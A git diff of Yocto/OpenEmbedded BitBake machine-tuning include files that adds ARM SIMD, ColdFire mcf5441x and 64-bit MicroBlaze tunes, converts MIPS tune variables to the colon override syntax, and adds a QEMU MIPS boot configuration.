diff --git a/meta/conf/machine/include/arm/feature-arm-simd.inc b/meta/conf/machine/include/arm/feature-arm-simd.inc
new file mode 100644
index 0000000000..1afaf8d901
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-simd.inc
@@ -0,0 +1,5 @@
+# Advanced SIMD and floating-point instructions for armv7-a, armv7ve,
+# armv8-a, armv8.1-a, armv8.3-a, armv8.4-a, armv8.5-a, armv8.6-a, and armv8-r
+
+TUNEVALID[simd] = "Enable instructions for Advanced SIMD and floating-point units"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'simd', '+simd', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-thumb.inc b/meta/conf/machine/include/arm/feature-arm-thumb.inc
index bae169da3a..1c9a118160 100644
--- a/meta/conf/machine/include/arm/feature-arm-thumb.inc
+++ b/meta/conf/machine/include/arm/feature-arm-thumb.inc
@@ -22,9 +22,9 @@ python () {
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thumb', ' -m${ARM_M_OPT}', '', d)}"
ARM_THUMB_SUFFIX = "t2"
-ARM_THUMB_SUFFIX_armv4 = "t"
-ARM_THUMB_SUFFIX_armv5 = "t"
-ARM_THUMB_SUFFIX_armv6 = "t"
+ARM_THUMB_SUFFIX:armv4 = "t"
+ARM_THUMB_SUFFIX:armv5 = "t"
+ARM_THUMB_SUFFIX:armv6 = "t"
# Add suffix from ARM_THUMB_SUFFIX only if after all this we still set ARM_M_OPT to thumb
ARMPKGSFX_THUMB .= "${@bb.utils.contains('TUNE_FEATURES', 'thumb', '${ARM_THUMB_SUFFIX}', '', d) if d.getVar('ARM_M_OPT') == 'thumb' else ''}"
diff --git a/meta/conf/machine/include/m68k/arch-m68k.inc b/meta/conf/machine/include/m68k/arch-m68k.inc
index 3ff8a3a5b5..3f0f2ff57e 100644
--- a/meta/conf/machine/include/m68k/arch-m68k.inc
+++ b/meta/conf/machine/include/m68k/arch-m68k.inc
@@ -5,4 +5,4 @@ DEFAULTTUNE ?= "m68k"
# Architecture name
TUNE_ARCH = "m68k"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
diff --git a/meta/conf/machine/include/m68k/tune-mcf5441x.inc b/meta/conf/machine/include/m68k/tune-mcf5441x.inc
new file mode 100644
index 0000000000..7eefce03cb
--- /dev/null
+++ b/meta/conf/machine/include/m68k/tune-mcf5441x.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "mcf5441x"
+
+require conf/machine/include/m68k/arch-m68k.inc
+
+TUNEVALID[mcf5441x] = "Enable coldfire specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mcf5441x', ' -mcpu=54418', '', d)}"
+
+AVAILTUNES += "mcf5441x"
+TUNE_FEATURES:tune-mcf5441x = "mcf5441x"
+TUNE_ARCH:tune-mcf5441x = "mcf5441x"
+TUNE_PKGARCH:tune-mcf5441x = "mcf5441x"
+PACKAGE_EXTRA_ARCHS:tune-mcf5441x = "m68k mcf5441x"
+
diff --git a/meta/conf/machine/include/microblaze/arch-microblaze.inc b/meta/conf/machine/include/microblaze/arch-microblaze.inc
index eab7171cb2..4f58076ac9 100644
--- a/meta/conf/machine/include/microblaze/arch-microblaze.inc
+++ b/meta/conf/machine/include/microblaze/arch-microblaze.inc
@@ -4,35 +4,41 @@
TUNEVALID[microblaze] = "MicroBlaze"
MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "microblaze", "microblaze:", "", d)}"
+# 64-bit
+TUNEVALID[64-bit] = "64-bit MicroBlaze"
+TUNECONFLICTS[64-bit] = "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3 v9.4 v9.5 v9.6 v10.0"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "64-bit", "microblaze64:", "", d)}"
+
# Endian
TUNEVALID[bigendian] = "Use Microblaze Big Endian"
-TUNECONFLICTS[bigendian] += "v10.0"
+TUNECONFLICTS[bigendian] = "v10.0"
MBPKGARCH_ENDIAN = "${@bb.utils.contains("TUNE_FEATURES", "bigendian", "eb", "el", d)}"
-TUNE_CCARGS += "${@bb.utils.contains("TUNE_FEATURES", "bigendian", "-mbig-endian", "-mlittle-endian", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "bigendian", " -mbig-endian", " -mlittle-endian", d)}"
# General features
TUNEVALID[barrel-shift] = "Enable Hardware Barrel Shifter"
TUNEVALID[pattern-compare] = "Enable Pattern Compare Instructions"
TUNEVALID[reorder] = "Enable Reorder Instructions"
-TUNECONFLICTS[reorder] += "v8.00 v8.10 v8.20"
+TUNECONFLICTS[reorder] = "v8.00 v8.10 v8.20"
# Core configuration tune optimizations
TUNEVALID[frequency-optimized] = "Enabling tuning for frequency optimized core (AREA_OPTIMIZED_2)"
-TUNECONFLICTS[frequency-optimized] += "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3 v9.4 v9.5 v9.6"
+TUNECONFLICTS[frequency-optimized] = "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3 v9.4 v9.5 v9.6"
# Feature compiler args
-TUNE_CCARGS += "${@bb.utils.contains("TUNE_FEATURES", "barrel-shift", "-mxl-barrel-shift", "-mno-xl-barrel-shift", d)}"
-TUNE_CCARGS += "${@bb.utils.contains("TUNE_FEATURES", "pattern-compare", "-mxl-pattern-compare", "-mno-xl-pattern-compare", d)}"
-TUNE_CCARGS += "${@bb.utils.contains("TUNE_FEATURES", "frequency-optimized", "-mxl-frequency", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "barrel-shift", " -mxl-barrel-shift", " -mno-xl-barrel-shift", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "pattern-compare", " -mxl-pattern-compare", " -mno-xl-pattern-compare", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "frequency-optimized", " -mxl-frequency", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "64-bit", " -m64", "", d)}"
# Disable reorder for v8.30 if pattern-compare is not enabled
-TUNE_CCARGS += "${@bb.utils.contains("TUNE_FEATURES", "reorder", \
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "reorder", \
bb.utils.contains("TUNE_FEATURES", "v8.30", \
bb.utils.contains("TUNE_FEATURES", "pattern-compare", \
- "-mxl-reorder", "-mno-xl-reorder", d), \
- "-mxl-reorder", d), "-mno-xl-reorder", d)}"
+ " -mxl-reorder", " -mno-xl-reorder", d), \
+ " -mxl-reorder", d), " -mno-xl-reorder", d)}"
# Feature package architecture formatting
MBPKGARCH_TUNE = ""
@@ -45,9 +51,12 @@ MBPKGARCH_TUNE .= "${@bb.utils.contains("TUNE_FEATURES", "frequency-optimized",
require conf/machine/include/microblaze/feature-microblaze-versions.inc
require conf/machine/include/microblaze/feature-microblaze-math.inc
-# Architecture name, either 'microblazeeb' or 'microblazeel' depending on endianess
-TUNE_ARCH = "microblaze${@bb.utils.contains("TUNE_FEATURES", "bigendian", "eb", "el", d)}"
+# Architecture name, either 'microblaze' or 'microblazeel' depending on endianess
+TUNE_ARCH = "microblaze${@bb.utils.contains("TUNE_FEATURES", "bigendian", "", "el", d)}"
+
+# Add 64-bit to the PKGARCH if enabled.
+MBPKGARCH_SIZE = "${@bb.utils.contains("TUNE_FEATURES", "64-bit", "64", "", d)}"
# Package Architecture formatting
-TUNE_PKGARCH = "microblaze${MBPKGARCH_ENDIAN}${MBPKGARCH_VERSION}${MBPKGARCH_TUNE}${MBPKGARCH_MATH}"
+TUNE_PKGARCH = "microblaze${MBPKGARCH_SIZE}${MBPKGARCH_ENDIAN}${MBPKGARCH_VERSION}${MBPKGARCH_TUNE}${MBPKGARCH_MATH}"
diff --git a/meta/conf/machine/include/microblaze/feature-microblaze-math.inc b/meta/conf/machine/include/microblaze/feature-microblaze-math.inc
index a31516659c..cba0ae67e3 100644
--- a/meta/conf/machine/include/microblaze/feature-microblaze-math.inc
+++ b/meta/conf/machine/include/microblaze/feature-microblaze-math.inc
@@ -13,14 +13,14 @@ TUNECONFLICTS[fpu-hard] = "fpu-soft"
TUNECONFLICTS[fpu-hard-extended] = "fpu-soft"
# Compiler args
-TUNE_CCARGS += "${@bb.utils.contains_any('TUNE_FEATURES', ['multiply-low', 'multiply-high'], '-mno-xl-soft-mul', '-mxl-soft-mul', d)}"
-TUNE_CCARGS += "${@bb.utils.contains('TUNE_FEATURES', 'multiply-high', '-mxl-multiply-high', '', d)}"
+TUNE_CCARGS .= "${@bb.utils.contains_any('TUNE_FEATURES', ['multiply-low', 'multiply-high'], ' -mno-xl-soft-mul', ' -mxl-soft-mul', d)}"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'multiply-high', ' -mxl-multiply-high', '', d)}"
-TUNE_CCARGS += "${@bb.utils.contains('TUNE_FEATURES', 'divide-hard', '-mno-xl-soft-div', '-mxl-soft-div', d)}"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'divide-hard', ' -mno-xl-soft-div', ' -mxl-soft-div', d)}"
-TUNE_CCARGS += "${@bb.utils.contains('TUNE_FEATURES', 'fpu-soft', '', '', d)}"
-TUNE_CCARGS += "${@bb.utils.contains_any('TUNE_FEATURES', ['fpu-hard', 'fpu-hard-extended'], '-mhard-float', '', d)}"
-TUNE_CCARGS += "${@bb.utils.contains('TUNE_FEATURES', 'fpu-hard-extended', '-mxl-float-convert -mxl-float-sqrt', '', d)}"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'fpu-soft', '', '', d)}"
+TUNE_CCARGS .= "${@bb.utils.contains_any('TUNE_FEATURES', ['fpu-hard', 'fpu-hard-extended'], ' -mhard-float', '', d)}"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'fpu-hard-extended', ' -mxl-float-convert -mxl-float-sqrt', '', d)}"
# Set target fpu (bitbake known target) to soft or hard (basic or extended)
TARGET_FPU = "${@bb.utils.contains_any('TUNE_FEATURES', 'fpu-hard fpu-hard-extended', 'fpu-hard', 'fpu-soft', d)}"
diff --git a/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc b/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc
index 955674fff9..5c37f49abb 100644
--- a/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc
+++ b/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc
@@ -44,6 +44,7 @@ TUNEVALID[v9.4] = "MicroBlaze version 9.4"
TUNEVALID[v9.5] = "MicroBlaze version 9.5"
TUNEVALID[v9.6] = "MicroBlaze version 9.6"
TUNEVALID[v10.0] = "MicroBlaze version 10.0"
+TUNEVALID[v11.0] = "MicroBlaze version 11.0"
# Version conflict matrix
TUNECONFLICTS[v8.00] = ""
@@ -60,8 +61,9 @@ TUNECONFLICTS[v9.4] = "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3"
TUNECONFLICTS[v9.5] = "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3 v9.4"
TUNECONFLICTS[v9.6] = "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3 v9.4 v9.5"
TUNECONFLICTS[v10.0] = "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3 v9.4 v9.5 v9.6"
+TUNECONFLICTS[v11.0] = "v8.00 v8.10 v8.20 v8.30 v8.40 v8.50 v9.0 v9.1 v9.2 v9.3 v9.4 v9.5 v9.6 v10.0"
# Version flags
-TUNE_CCARGS += "-mcpu=${@microblaze_current_version(d, True)}"
-MBPKGARCH_VERSION = "-${@microblaze_current_version(d)}"
+TUNE_CCARGS += "${@'-mcpu=%s' % (microblaze_current_version(d, True)) if microblaze_current_version(d, True) != '' else ''}"
+MBPKGARCH_VERSION = "${@'-%s' % (microblaze_current_version(d, True)) if microblaze_current_version(d, True) != '' else ''}"
diff --git a/meta/conf/machine/include/microblaze/tune-microblaze.inc b/meta/conf/machine/include/microblaze/tune-microblaze.inc
new file mode 100644
index 0000000000..11f7233cf4
--- /dev/null
+++ b/meta/conf/machine/include/microblaze/tune-microblaze.inc
@@ -0,0 +1,8 @@
+DEFAULTTUNE ?= "microblaze"
+
+require conf/machine/include/microblaze/arch-microblaze.inc
+
+AVAILTUNES += "microblaze"
+TUNE_FEATURES:tune-microblaze = "microblaze"
+PACKAGE_EXTRA_ARCHS:tune-microblaze = "${TUNE_PKGARCH}"
+
diff --git a/meta/conf/machine/include/mips/README b/meta/conf/machine/include/mips/README
index f36e87b45a..77448c5190 100644
--- a/meta/conf/machine/include/mips/README
+++ b/meta/conf/machine/include/mips/README
@@ -23,7 +23,7 @@ scheme. The scheme is: <mips variant>[-nf][-n32]
TUNE_PKGARCH is defined as:
-${MIPSPKGSFX_VARIANT_tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}
+${MIPSPKGSFX_VARIANT:tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}
The following is a list of MIPS specific variables:
@@ -35,7 +35,7 @@ defined as "el".
MIPSPKGSFX_ENDIAN2 - For bigendian hardware this is "eb", otherwise it's
defined as "el".
-MIPSPKGSFX_VARIANT_tune-<tune> - In the default tunings it is set to the
+MIPSPKGSFX_VARIANT:tune-<tune> - In the default tunings it is set to the
same value as TUNE_ARCH. In custom, optimized tunings, the value should
be modified to more precisely describe the tuning.
diff --git a/meta/conf/machine/include/mips/arch-mips.inc b/meta/conf/machine/include/mips/arch-mips.inc
index 2f625119cb..e48ddd2d6b 100644
--- a/meta/conf/machine/include/mips/arch-mips.inc
+++ b/meta/conf/machine/include/mips/arch-mips.inc
@@ -17,11 +17,11 @@ TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'o32', ' -mabi=32', '', d)
TUNEVALID[n32] = "MIPS64 n32 ABI"
TUNECONFLICTS[n32] = "o32 n64"
-ABIEXTENSION .= "${@bb.utils.filter('TUNE_FEATURES', 'n32' ,d)}"
+ABIEXTENSION .= "${@bb.utils.filter('TUNE_FEATURES', 'n32', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'n32', ' -mabi=n32', '', d)}"
# user mode qemu doesn't support mips64 n32: "Invalid ELF image for this architecture"
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'n32', 'qemu-usermode', '', d)}"
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = " ${@bb.utils.contains('TUNE_FEATURES', 'n32', 'qemu-usermode', '', d)}"
TUNEVALID[n64] = "MIPS64 n64 ABI"
TUNECONFLICTS[n64] = "o32 n32"
@@ -49,103 +49,103 @@ MIPSPKGSFX_64R6 = "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', 'isa', '
MIPSPKGSFX_32R6 = "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', 'isa32', '', d)}"
TUNE_ARCH = "mips${MIPSPKGSFX_32R6}${MIPSPKGSFX_64R6}${MIPSPKGSFX_BYTE}${MIPSPKGSFX_R6}${MIPSPKGSFX_ENDIAN}"
-TUNE_PKGARCH = "${MIPSPKGSFX_VARIANT_tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}"
+TUNE_PKGARCH = "${MIPSPKGSFX_VARIANT:tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}"
# Various Global Machine Overrides
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64${MIPSPKGSFX_ENDIAN2}:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32${MIPSPKGSFX_ENDIAN2}:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32${MIPSPKGSFX_ENDIAN2}:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'r6', 'mipsarchr6:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64${MIPSPKGSFX_ENDIAN2}:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32${MIPSPKGSFX_ENDIAN2}:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32${MIPSPKGSFX_ENDIAN2}:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'r6', 'mipsarchr6:', '', d)}"
MACHINEOVERRIDES =. "mipsarch${MIPSPKGSFX_ENDIAN2}:"
MACHINEOVERRIDES =. "mipsarch:"
# Base tunes
AVAILTUNES += "mips mips64-n32 mips64 mipsel mips64el-n32 mips64el mips-nf mips64-nf-n32 mips64-nf mipsel-nf mips64el-nf-n32 mips64el-nf"
-TUNE_FEATURES_tune-mips = "o32 bigendian fpu-hard"
-BASE_LIB_tune-mips = "lib"
-MIPSPKGSFX_VARIANT_tune-mips = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips = "mips"
-
-TUNE_FEATURES_tune-mips64-n32 = "n32 bigendian fpu-hard"
-BASE_LIB_tune-mips64-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-n32 = "mips64-n32"
-
-TUNE_FEATURES_tune-mips64 = "n64 bigendian fpu-hard"
-BASE_LIB_tune-mips64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64 = "mips64"
-
-TUNE_FEATURES_tune-mipsel = "o32 fpu-hard"
-BASE_LIB_tune-mipsel = "lib"
-MIPSPKGSFX_VARIANT_tune-mipsel = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsel = "mipsel"
-
-TUNE_FEATURES_tune-mips64el-n32 = "n32 fpu-hard"
-BASE_LIB_tune-mips64el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-n32 = "mips64el-n32"
-
-TUNE_FEATURES_tune-mips64el = "n64 fpu-hard"
-BASE_LIB_tune-mips64el = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64el = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el = "mips64el"
-
-TUNE_FEATURES_tune-mips-nf = "o32 bigendian"
-BASE_LIB_tune-mips-nf = "lib"
-MIPSPKGSFX_VARIANT_tune-mips-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips-nf = "mips-nf"
-
-TUNE_FEATURES_tune-mips64-nf-n32 = "n32 bigendian"
-BASE_LIB_tune-mips64-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf-n32 = "mips64-nf-n32"
-
-TUNE_FEATURES_tune-mips64-nf = "n64 bigendian"
-BASE_LIB_tune-mips64-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf = "mips64-nf"
-
-TUNE_FEATURES_tune-mipsel-nf = "o32"
-BASE_LIB_tune-mipsel-nf = "lib"
-MIPSPKGSFX_VARIANT_tune-mipsel-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsel-nf = "mipsel-nf"
-
-TUNE_FEATURES_tune-mips64el-nf-n32 = "n32"
-BASE_LIB_tune-mips64el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf-n32 = "mips64el-nf-n32"
-
-TUNE_FEATURES_tune-mips64el-nf = "n64"
-BASE_LIB_tune-mips64el-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf = "mips64el-nf"
+TUNE_FEATURES:tune-mips = "o32 bigendian fpu-hard"
+BASE_LIB:tune-mips = "lib"
+MIPSPKGSFX_VARIANT:tune-mips = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips = "mips"
+
+TUNE_FEATURES:tune-mips64-n32 = "n32 bigendian fpu-hard"
+BASE_LIB:tune-mips64-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-n32 = "mips64-n32"
+
+TUNE_FEATURES:tune-mips64 = "n64 bigendian fpu-hard"
+BASE_LIB:tune-mips64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64 = "mips64"
+
+TUNE_FEATURES:tune-mipsel = "o32 fpu-hard"
+BASE_LIB:tune-mipsel = "lib"
+MIPSPKGSFX_VARIANT:tune-mipsel = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsel = "mipsel"
+
+TUNE_FEATURES:tune-mips64el-n32 = "n32 fpu-hard"
+BASE_LIB:tune-mips64el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-n32 = "mips64el-n32"
+
+TUNE_FEATURES:tune-mips64el = "n64 fpu-hard"
+BASE_LIB:tune-mips64el = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64el = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el = "mips64el"
+
+TUNE_FEATURES:tune-mips-nf = "o32 bigendian"
+BASE_LIB:tune-mips-nf = "lib"
+MIPSPKGSFX_VARIANT:tune-mips-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips-nf = "mips-nf"
+
+TUNE_FEATURES:tune-mips64-nf-n32 = "n32 bigendian"
+BASE_LIB:tune-mips64-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf-n32 = "mips64-nf-n32"
+
+TUNE_FEATURES:tune-mips64-nf = "n64 bigendian"
+BASE_LIB:tune-mips64-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf = "mips64-nf"
+
+TUNE_FEATURES:tune-mipsel-nf = "o32"
+BASE_LIB:tune-mipsel-nf = "lib"
+MIPSPKGSFX_VARIANT:tune-mipsel-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsel-nf = "mipsel-nf"
+
+TUNE_FEATURES:tune-mips64el-nf-n32 = "n32"
+BASE_LIB:tune-mips64el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf-n32 = "mips64el-nf-n32"
+
+TUNE_FEATURES:tune-mips64el-nf = "n64"
+BASE_LIB:tune-mips64el-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf = "mips64el-nf"
# MIPS 64 + o32
AVAILTUNES += "mips64-o32 mips64el-o32"
-TUNE_FEATURES_tune-mips64-o32 = "o32 bigendian fpu-hard"
-BASE_LIB_tune-mips64-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-o32 = "mips mips64-o32"
+TUNE_FEATURES:tune-mips64-o32 = "o32 bigendian fpu-hard"
+BASE_LIB:tune-mips64-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-o32 = "mips mips64-o32"
-TUNE_FEATURES_tune-mips64el-o32 = "o32 fpu-hard"
-BASE_LIB_tune-mips64el-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64el-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-o32 = "mipsel mips64el-o32 mips64el-o32"
+TUNE_FEATURES:tune-mips64el-o32 = "o32 fpu-hard"
+BASE_LIB:tune-mips64el-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64el-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-o32 = "mipsel mips64el-o32"
# MIPS 64 o32 and Soft Float
AVAILTUNES += "mips64-nf-o32 mips64el-nf-o32"
-TUNE_FEATURES_tune-mips64-nf-o32 = "o32 bigendian"
-BASE_LIB_tune-mips64-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf-o32 = "mips-nf mips64-nf-o32"
+TUNE_FEATURES:tune-mips64-nf-o32 = "o32 bigendian"
+BASE_LIB:tune-mips64-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf-o32 = "mips-nf mips64-nf-o32"
-TUNE_FEATURES_tune-mips64el-nf-o32 = "o32"
-BASE_LIB_tune-mips64el-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf-o32 = "mipsel-nf mips64el-nf-o32"
+TUNE_FEATURES:tune-mips64el-nf-o32 = "o32"
+BASE_LIB:tune-mips64el-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf-o32 = "mipsel-nf mips64el-nf-o32"
diff --git a/meta/conf/machine/include/mips/feature-mips-mips16e.inc b/meta/conf/machine/include/mips/feature-mips-mips16e.inc
index 101d5331bc..6fd12fb842 100644
--- a/meta/conf/machine/include/mips/feature-mips-mips16e.inc
+++ b/meta/conf/machine/include/mips/feature-mips-mips16e.inc
@@ -11,7 +11,7 @@ MIPSPKGSFX_MIPS16E .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', '-m16',
TUNEVALID[no-interlink-compressed] = "Disable mixing of standard and MIPS16e code"
MIPS16_TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'no-interlink-compressed', ' -mno-interlink-compressed', ' -minterlink-compressed', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', ' ${MIPS16_TUNE_CCARGS}', '', d)}"
-OVERRIDES .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', ':mips16e', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', 'mips16e:', '', d)}"
# show status (if compiling in MIPS16e mode)
BUILDCFG_VARS += "${@['', 'MIPS_INSTRUCTION_SET'][d.getVar('MIPS_INSTRUCTION_SET') == 'mips16e']}"
diff --git a/meta/conf/machine/include/mips/qemuboot-mips.inc b/meta/conf/machine/include/mips/qemuboot-mips.inc
new file mode 100644
index 0000000000..4954f3068c
--- /dev/null
+++ b/meta/conf/machine/include/mips/qemuboot-mips.inc
@@ -0,0 +1,8 @@
+# For runqemu
+IMAGE_CLASSES += "qemuboot"
+QB_MACHINE = "-machine malta"
+QB_KERNEL_CMDLINE_APPEND = "console=ttyS0 console=tty"
+QB_OPT_APPEND = "-usb -device usb-tablet"
+
+# For graphics to work we need to define the VGA device as well as the necessary USB devices
+QB_GRAPHICS = "-vga std"
diff --git a/meta/conf/machine/include/mips/tune-mips-24k.inc b/meta/conf/machine/include/mips/tune-mips-24k.inc
index 828acd42e3..106ff62fbb 100644
--- a/meta/conf/machine/include/mips/tune-mips-24k.inc
